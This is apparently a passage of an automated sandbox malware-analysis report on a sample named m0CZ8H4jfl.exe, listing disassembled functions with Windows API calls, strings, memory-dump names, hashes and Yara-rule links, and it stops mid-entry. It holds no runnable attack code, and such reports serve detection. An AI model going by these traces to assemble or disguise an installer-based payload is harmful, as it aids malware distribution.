Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,?), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,?), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(?,00000000,00000000), ref: 0040451D

Strings

Call, xrefs: 00404493
-B@, xrefs: 004044C2
open, xrefs: 004044C5
N, xrefs: 00404452

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\m0CZ8H4jfl.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

%ls=%ls, xrefs: 00405DF1
NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 100024A9 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Strings

s<u, xrefs: 100024B9

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: Global$Free$Alloc
String ID: s<u
API String ID: 1780285237-779365171
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
*?|<>/":, xrefs: 0040633B
"C:\Users\user\Desktop\m0CZ8H4jfl.exe", xrefs: 0040632D

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\m0CZ8H4jfl.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1978327910
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(00069B4F,?,00069B53), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100022D0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(?), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.1797544878.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1797527224.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797584618.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1797605819.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_m0CZ8H4jfl.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 00402870 Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\m0CZ8H4jfl.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GlobalAlloc.KERNEL32(?,?), ref: 00402894
CloseHandle.KERNEL32(?), ref: 00402914

Part of subcall function 00403258: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC

Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403091
Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403138
Part of subcall function 00403027: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
Part of subcall function 00403027: wsprintfW.USER32 ref: 00403174

DeleteFileW.KERNEL32(?), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

